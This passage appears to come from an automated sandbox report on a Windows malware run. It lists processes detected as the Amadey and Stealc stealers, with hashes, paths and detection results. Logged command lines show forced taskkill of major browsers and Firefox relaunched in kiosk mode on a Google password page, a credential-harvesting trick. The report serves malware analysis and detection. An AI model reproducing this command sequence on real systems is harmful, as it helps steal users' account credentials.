Commandline:	"C:\Users\user\AppData\Local\Temp\A94C1J5VAPFWM1J1FS.exe"
Imagebase:	0xcc0000
File size:	1'911'296 bytes
MD5 hash:	EF5F7A438E05696F2DC5D31889BAF216
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000003.00000003.2389693706.0000000005460000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000003.00000002.2436072466.0000000000CC1000.00000040.00000001.01000000.00000006.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	03:07:30
Start date:	24/10/2024
Path:	C:\Users\user\AppData\Local\Temp\PJGT15Z82T6C2GQS.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\PJGT15Z82T6C2GQS.exe"
Imagebase:	0x4a0000
File size:	1'854'464 bytes
MD5 hash:	C4D992E32DABD4723370D920A842D759
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000004.00000002.2518168701.000000000109E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000004.00000002.2516681456.00000000004A1000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000004.00000003.2428440432.0000000004E50000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 47%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	03:07:31
Start date:	24/10/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:	0x400000
File size:	1'911'296 bytes
MD5 hash:	EF5F7A438E05696F2DC5D31889BAF216
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000005.00000002.2498410813.0000000000401000.00000040.00000001.01000000.0000000A.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000005.00000003.2456798547.0000000004BF0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	03:07:31
Start date:	24/10/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0x400000
File size:	1'911'296 bytes
MD5 hash:	EF5F7A438E05696F2DC5D31889BAF216
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000006.00000002.2498848977.0000000000401000.00000040.00000001.01000000.0000000A.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000006.00000003.2458104071.0000000004BE0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	03:07:32
Start date:	24/10/2024
Path:	C:\Users\user\AppData\Local\Temp\6BWDEAM9H4119O8P9KYSM4M710Q.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\6BWDEAM9H4119O8P9KYSM4M710Q.exe"
Imagebase:	0x930000
File size:	2'822'656 bytes
MD5 hash:	4BD307F7BA3EDB7861982A41D1488AA8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	03:08:00
Start date:	24/10/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0x400000
File size:	1'911'296 bytes
MD5 hash:	EF5F7A438E05696F2DC5D31889BAF216
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000000A.00000003.2716071552.0000000004DD0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000000A.00000002.3438111509.0000000000401000.00000040.00000001.01000000.0000000A.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	12
Start time:	03:08:15
Start date:	24/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe"
Imagebase:	0x710000
File size:	2'958'848 bytes
MD5 hash:	15B9109C23747163A74018275BB88207
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000C.00000003.2945838714.00000000010C1000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000C.00000003.2898013500.0000000001124000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 39%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	03:08:24
Start date:	24/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1001139001\36c3130eac.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1001139001\36c3130eac.exe"
Imagebase:	0xf10000
File size:	1'854'464 bytes
MD5 hash:	C4D992E32DABD4723370D920A842D759
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000000D.00000003.2956398464.0000000004A10000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000000D.00000002.2998225047.0000000000F11000.00000040.00000001.01000000.00000010.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000000D.00000002.2997022588.000000000074C000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 47%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	03:08:30
Start date:	24/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe"
Imagebase:	0x710000
File size:	2'958'848 bytes
MD5 hash:	15B9109C23747163A74018275BB88207
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	03:08:32
Start date:	24/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1001140001\55662d7496.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1001140001\55662d7496.exe"
Imagebase:	0xbc0000
File size:	919'552 bytes
MD5 hash:	7EA91224428255E089E5B84037C38978
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialFlusher, Description: Yara detected Credential Flusher, Source: 0000000F.00000003.3090032690.00000000017EF000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 47%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	03:08:33
Start date:	24/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM firefox.exe /T
Imagebase:	0x2a0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	03:08:33
Start date:	24/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	03:08:35
Start date:	24/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM chrome.exe /T
Imagebase:	0x2a0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	03:08:35
Start date:	24/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	03:08:35
Start date:	24/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM msedge.exe /T
Imagebase:	0x2a0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	03:08:35
Start date:	24/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	03:08:36
Start date:	24/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM opera.exe /T
Imagebase:	0x2a0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	03:08:36
Start date:	24/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	03:08:36
Start date:	24/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM brave.exe /T
Imagebase:	0x2a0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	03:08:36
Start date:	24/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	03:08:36
Start date:	24/10/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Imagebase:	0x7ff728280000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	03:08:36
Start date:	24/10/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking --attempting-deelevation
Imagebase:	0x7ff728280000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	03:08:36
Start date:	24/10/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Imagebase:	0x7ff728280000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	03:08:38
Start date:	24/10/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2280 -parentBuildID 20230927232528 -prefsHandle 2224 -prefMapHandle 2220 -prefsLen 25250 -prefMapSize 238690 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {b2c4f454-c699-4a59-a93f-d65df88e5316} 2720 "\\.\pipe\gecko-crash-server-pipe.2720" 2681e171110 socket
Imagebase:	0x7ff728280000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	03:08:38
Start date:	24/10/2024
Path:	C:\Users\user\AppData\Local\Temp\LIZ1X768O6R3WBN7EPZHLFTDS.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\LIZ1X768O6R3WBN7EPZHLFTDS.exe"
Imagebase:	0x8e0000
File size:	1'911'296 bytes
MD5 hash:	EF5F7A438E05696F2DC5D31889BAF216
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000001F.00000003.3109974281.0000000004AD0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000001F.00000002.3156645657.00000000008E1000.00000040.00000001.01000000.00000018.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	03:08:38
Start date:	24/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1001141001\num.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1001141001\num.exe"
Imagebase:	0xdd0000
File size:	314'368 bytes
MD5 hash:	791FCEE57312D4A20CC86AE1CEA8DFC4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000020.00000002.3104993509.0000000000DD1000.00000080.00000001.01000000.00000019.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000020.00000000.3076762189.0000000000DD1000.00000080.00000001.01000000.00000019.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000020.00000002.3109724508.00000000010BE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PowershellDownloadAndExecute, Description: Yara detected Powershell download and execute, Source: C:\Users\user\AppData\Local\Temp\1001141001\num.exe, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: C:\Users\user\AppData\Local\Temp\1001141001\num.exe, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 83%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	03:08:38
Start date:	24/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1001139001\36c3130eac.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1001139001\36c3130eac.exe"
Imagebase:	0xf10000
File size:	1'854'464 bytes
MD5 hash:	C4D992E32DABD4723370D920A842D759
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000021.00000003.3105966323.0000000004F50000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000021.00000002.3241643306.00000000009BB000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000021.00000002.3242620243.0000000000F11000.00000040.00000001.01000000.00000010.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	03:08:42
Start date:	24/10/2024
Path:	C:\Users\user\AppData\Local\Temp\ZR7XTEYLCJ0IZBOL3C6E.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\ZR7XTEYLCJ0IZBOL3C6E.exe"
Imagebase:	0x1d0000
File size:	1'854'464 bytes
MD5 hash:	C4D992E32DABD4723370D920A842D759
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000022.00000002.3303275085.00000000001D1000.00000040.00000001.01000000.0000001A.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000022.00000003.3148683009.0000000004C80000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000022.00000002.3305271933.0000000000F0E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 47%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	03:08:43
Start date:	24/10/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=3916 -parentBuildID 20230927232528 -prefsHandle 3940 -prefMapHandle 3936 -prefsLen 26265 -prefMapSize 238690 -appDir "C:\Program Files\Mozilla Firefox\browser" - {d8e53ce2-8518-4574-94e0-14e7cb60220b} 2720 "\\.\pipe\gecko-crash-server-pipe.2720" 2682e880210 rdd
Imagebase:	0x7ff728280000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	03:08:45
Start date:	24/10/2024
Path:	C:\Users\user\AppData\Local\Temp\Z72A5QS1XOE2OWTBBJM669OT.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\Z72A5QS1XOE2OWTBBJM669OT.exe"
Imagebase:	0xb50000
File size:	2'822'656 bytes
MD5 hash:	4BD307F7BA3EDB7861982A41D1488AA8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Has exited:	true

Show Windows behavior

Target ID:	37
Start time:	03:08:47
Start date:	24/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1001140001\55662d7496.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1001140001\55662d7496.exe"
Imagebase:	0xbc0000
File size:	919'552 bytes
MD5 hash:	7EA91224428255E089E5B84037C38978
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialFlusher, Description: Yara detected Credential Flusher, Source: 00000025.00000003.3341116550.000000000126F000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	38
Start time:	03:08:47
Start date:	24/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM firefox.exe /T
Imagebase:	0x2a0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	39
Start time:	03:08:48
Start date:	24/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	40
Start time:	03:08:55
Start date:	24/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1001141001\num.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1001141001\num.exe"
Imagebase:	0xdd0000
File size:	314'368 bytes
MD5 hash:	791FCEE57312D4A20CC86AE1CEA8DFC4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000028.00000002.3280676908.0000000000DD1000.00000080.00000001.01000000.00000019.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000028.00000000.3250481515.0000000000DD1000.00000080.00000001.01000000.00000019.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000028.00000002.3284197061.0000000001107000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	41
Start time:	03:08:59
Start date:	24/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM chrome.exe /T
Imagebase:	0x2a0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	42
Start time:	03:09:00
Start date:	24/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	43
Start time:	03:09:00
Start date:	24/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM msedge.exe /T
Imagebase:	0x2a0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	44
Start time:	03:09:00
Start date:	24/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	45
Start time:	03:09:00
Start date:	24/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM opera.exe /T
Imagebase:	0x2a0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	46
Start time:	03:09:00
Start date:	24/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	47
Start time:	03:09:00
Start date:	24/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM brave.exe /T
Imagebase:	0x2a0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	48
Start time:	03:09:00
Start date:	24/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	49
Start time:	03:09:01
Start date:	24/10/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Imagebase:	0x7ff728280000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Function 05670CB4 Relevance: .1, Instructions: 92COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2478869183.0000000005670000.00000040.00001000.00020000.00000000.sdmp, Offset: 05670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5670000_A94C1J5VAPFWM1J1FS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 58b1e8613b35ed209d64d629f7aacc6e63d8d001f7a9df5f932e5c2c882befaf
Instruction ID: 0ba79d84f7da45ba50689c7327d333ef8abfea4728e88f60917b02a5f214aa47
Opcode Fuzzy Hash: 58b1e8613b35ed209d64d629f7aacc6e63d8d001f7a9df5f932e5c2c882befaf
Instruction Fuzzy Hash: C10129EF15D229BD7142D2812B1CAF6AB6EE1C77303318427F807D5902E2D45F5EAA31

Function 05670CF1 Relevance: .1, Instructions: 108COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2478869183.0000000005670000.00000040.00001000.00020000.00000000.sdmp, Offset: 05670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5670000_A94C1J5VAPFWM1J1FS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a1326c89a9e4ae996c80f834f19549ee143b60d2d85b665ce8fc18f13e927adf
Instruction ID: 2341f0428c71934dbe2140c343199b799a1855f60f229b2d6e08f0d56cee65a5
Opcode Fuzzy Hash: a1326c89a9e4ae996c80f834f19549ee143b60d2d85b665ce8fc18f13e927adf
Instruction Fuzzy Hash: 612108EF54C3187E7211D295675CAF6BB6EEAC3630330842BF842DA542E1A45E4E8A71

Function 05670D36 Relevance: .1, Instructions: 94COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2478869183.0000000005670000.00000040.00001000.00020000.00000000.sdmp, Offset: 05670000, based on PE: false

Joe Sandbox IDA Plugin

